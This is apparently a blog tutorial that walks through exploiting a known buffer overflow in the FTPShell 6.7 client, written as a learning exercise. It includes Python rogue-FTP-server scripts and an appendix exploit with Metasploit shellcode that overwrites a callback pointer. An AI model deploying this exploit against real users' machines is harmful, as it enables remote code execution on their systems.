Revising Vulnerabilities - FTPShell 6.7 Client (Buffer Overflow)
Big thx to @va_start for shaping up the writeup (;
Short disclaimer
The following writeup is
a basic self-exercise of exploiting a known
vulnerability that was already disclosed, there isn’t anything new here (:
Goal
While we
know for sure there is a vulnerability from one of the most basic bug type
classes (buffer overflow), the goal of this exercise is to attempt and find the
overflow and exploit it ourselves.
Our vulnerable
target is an FTP client which we’ll exploit from the server-side. The exploit
scenario is unlikely as it would require a victim to connect to an attacker-controlled
FTP server. Nonetheless it’s a great exercise.
Intro
Before
diving into the client application and attempting to map its logic, we should
start by making sure were familiar with the typical FTP protocol flow.
We won’t
go over the details here, but you’re more than welcome to cover it quickly :)
What’s
important in our case are the following:
- The USER, PASS, PWD commands
- The 220, 331, 230 status codes
As we move
on to look at the client itself,let’s keep in mind that we have 2 initial
hints:
- We know there’s a vulnerability of a buffer overflow that allows RCE
- There’s no DEP or ASLR
That’s it.
Initial Inspection
Where it
would be most reasonable to find the overflow?
Since we
know it’s a buffer overflow, we’ll probably want to track all the attacker-controlled
input.
With the
assumption that the overflow is more likely to reside in the parsing related
functions that get it’s input from the server rather than the simple GUI inputs
such as the desired session name, the ip address of the server, etc.
Following
that assumption, we’d like to know how the client expects to communicate with
the server (done by monitoring the traffic with Wireshark) and eventually we draw
the following conclusions:
- The client waits for a ‘220 FTP Server ‘
- The client will then send the USER parameter to the server
- The client waits for a ‘331 OK’
- The client then sends the password
- The server will confirm the successful login process with ‘230 OK’
- Then the client will send a PWD request to the server
- The PWD response is of the form ‘220 [“path”][suffix]’
The most
trivial thing to try to do is to send a really long buffer as the PWD response,
which seems to crash the client!...
Good, so we
probably found the overflow, but now let’s weaponize the vulnerability we found
to achieve RCE.
Mapping The Application
The
following phase starts out with reversing the application to understand its
overall structure and how it operates.
While I won’t
describe every detail of it, one can quickly see it’s working with windows
messages, and that by tracing bottom up from interesting import functions such
as WSARecv
and WSASend we can find some relevant
functions that handle the client’s messages.
After
parsing the arguments needed for the connection with the server, a
communication thread is spawned and initiates the connection. This thread
performs all the WSARecv and WSASend operations.
following
the client’s typical connection routine, as described in the intro, we know
when to expect the PWD to be sent. we continue following the program’s
execution flow until we reach the code sending the PWD request:
What should
really interest us here are the parameters being set through ESI. (Sub_44DC2C
is the same function the code is taken from).
So, lets
jump back to the start of the function to see what execution path the function
with the stored parameters will follow:
It seems
that our call will be taking the execution path seen on the right of the
picture (the second parameter is being subtracted 0x3E9, and then 0x216 which
results in 0).
Finding The Overflow
Looks like
we found the function that parses the directory path itself (and returns an
error if an invalid directory path was provided).
The function
makes sure the first 3 characters in the response text are numbers (the
response code), finds the first “ character that indicates on the path start,
and copies characters until it finds the second “, where it puts a string null terminator
right after.
So, we did find the overflow which is good,
but how many characters are needed until we overwrite anything useful? What’s
“anything useful”?
Planning The Payload
Let’s do a
quick recap on our situation:
- The data received from the server will reside in a buffer in memory (as we’ll see later it’s being copied there from the overflowed buffer on the stack)
- We also found the buffer overflow which copies only the directory path to the stack
So, assuming
we don’t have to deal with DEP nor with ASLR – scenario 1 will be to
redirect execution onto the start of the shellcode that is located right on the
stack!
But for the
sake for the exercise, let’s try and avoid executing code directly on the stack
- so we need to find a way to redirect the execution to that same place in
memory where the data from the server is stored - that will be scenario 2.
Before
implementing each scenario, we need to find something “useful” to overflow.
The data is
being copied to ESI, tracing it up we find it’s being passed to the function as
a parameter, and is pointing at the following stack buffer:
We see that
the intendent space for our directory path buffer ranges from 0x0019F708 to
0x0019F710, not much...
When first
viewing the function that calls the directory path parsing method, one can
quickly notice the parameters that are being set at the start of the function,
one of those parameters is a callback address that will be jumped to right
after the path parsing:
It’s important
to state that because we’re not overflowing a buffer that’s allocated in the
current stack frame, it means we won’t overflow the return address of the
parsing method – which enables us to control the described callback parameter
in the outer function’s frame.
So, if we
scroll up the stack quite a bit, we can see how many bytes we need to overwrite
in order to run over the callback address:
- The callback is located on 0x0019F894
- The buffer we overflow starts at 0x0019F704
That gives
us 400 bytes (quite a lot IMO).
Let’s
generate a small test with the following server code:
import socket
import sys
payload = 400 * 'A' + 'BBBB'
try:
s =
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
except:
print("failed to start...")
while True:
conn,
addr = s.accept()
conn.send('220
FTP Server\r\n')
print(conn.recv(1024))
conn.send("331
OK\r\n")
print(conn.recv(1024))
conn.send('230
OK\r\n')
print(conn.recv(1024))
conn.send('220
"'+payload+'"\r\n')
This will
result in exactly what we wanted – the callback address is overwritten to our
choice.
Scenario 1
From here
it’s straight forward, we’ll just replace the ‘B’s in our payload to the stack
address (where our shellcode starts) and replace the ‘A’s in a meaningful
payload (pop a calc for example, can be generated using Metasploit’s
windows/exec) and that’s it – it works. (see the server code in appendix A).
Notice that
when we generate the payload using Metasploit we’d like to avoid using the
following characters that might damage our shellcode by breaking it (the best “universal”
example will be the null character that’ll make the program interpret it as a
string terminator resulting in the loss of the rest of our shellcode):
- \x00 (Null character)
- \x0A (Line feed)
- \x0D (Carriage return)
Scenario 2
As mentioned
before, we’d like to add another small goal and avoid executing the payload on
the stack (would help with DEP).
We mentioned
before that our current goal is to find a way to redirect the execution to the
buffer in memory that doesn’t reside on the stack.
Looking a
bit further after the function where we discovered the overflow, we can see a
call to strcpy which copies the path (shellcode) from the stack to another
buffer in memory, after this the callback pointer is checked against null and
if valid, the function is executed. At the moment of the jump to the callback
pointer, we can notice that there’s one register that still holds the address
in memory where our shellcode was copied to, and that’s ESI.
So where are
we going with that? If we were able to find a constant address of an
instruction of call ESI, we can implant that address on the callback and
that’ll solve our goal.
Ok, so let’s
scan the memory for a call ESI instruction (if you look it as text in IDA make
sure to count the spaces between the call and ESI).
We’ve got
quite a lot of options, just choose a random one and it should work.
Summary
This
exercise aimed to help us practice both in identifying and exploiting a buffer
overflow typed vulnerability, while we didn’t encounter any modern protection
mechanism, it’s important to control the basics (:
A great
series of write ups for beginners can be found in Corelan Team’s website, highly
recommended!
Appendix A
import socket
import sys
buf = ""
buf +=
"\xdb\xc2\xba\x3e\x17\xb7\xa4\xd9\x74\x24\xf4\x5e\x2b"
buf +=
"\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x3a\xf5"
buf +=
"\x42\x58\xaa\x7b\xac\xa1\x2a\x1c\x24\x44\x1b\x1c\x52"
buf += "\x0c\x0b\xac\x10\x40\xa7\x47\x74\x71\x3c\x25\x51\x76"
buf +=
"\xf5\x80\x87\xb9\x06\xb8\xf4\xd8\x84\xc3\x28\x3b\xb5"
buf +=
"\x0b\x3d\x3a\xf2\x76\xcc\x6e\xab\xfd\x63\x9f\xd8\x48"
buf +=
"\xb8\x14\x92\x5d\xb8\xc9\x62\x5f\xe9\x5f\xf9\x06\x29"
buf +=
"\x61\x2e\x33\x60\x79\x33\x7e\x3a\xf2\x87\xf4\xbd\xd2"
buf +=
"\xd6\xf5\x12\x1b\xd7\x07\x6a\x5b\xdf\xf7\x19\x95\x1c"
buf +=
"\x85\x19\x62\x5f\x51\xaf\x71\xc7\x12\x17\x5e\xf6\xf7"
buf += "\xce\x15\xf4\xbc\x85\x72\x18\x42\x49\x09\x24\xcf\x6c"
buf +=
"\xde\xad\x8b\x4a\xfa\xf6\x48\xf2\x5b\x52\x3e\x0b\xbb"
buf +=
"\x3d\x9f\xa9\xb7\xd3\xf4\xc3\x95\xb9\x0b\x51\xa0\x8f"
buf +=
"\x0c\x69\xab\xbf\x64\x58\x20\x50\xf2\x65\xe3\x15\x0c"
buf += "\x2c\xae\x3f\x85\xe9\x3a\x02\xc8\x09\x91\x40\xf5\x89"
buf +=
"\x10\x38\x02\x91\x50\x3d\x4e\x15\x88\x4f\xdf\xf0\xae"
buf +=
"\xfc\xe0\xd0\xcc\x63\x73\xb8\x3c\x06\xf3\x5b\x41"
payload = "\x90" * 10 + buf + "F" * 170 +
"\x04\xF7\x19"
try:
s =
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(5)
except:
print("failed to start...")
while True:
conn, addr =
s.accept()
conn.send('220
FTP Server\r\n')
print(conn.recv(1024))
conn.send("331
OK\r\n")
print(conn.recv(1024))
conn.send('230
OK\r\n')
print(conn.recv(1024))
conn.send('220
"'+payload+'"\r\n')
Comments
Post a Comment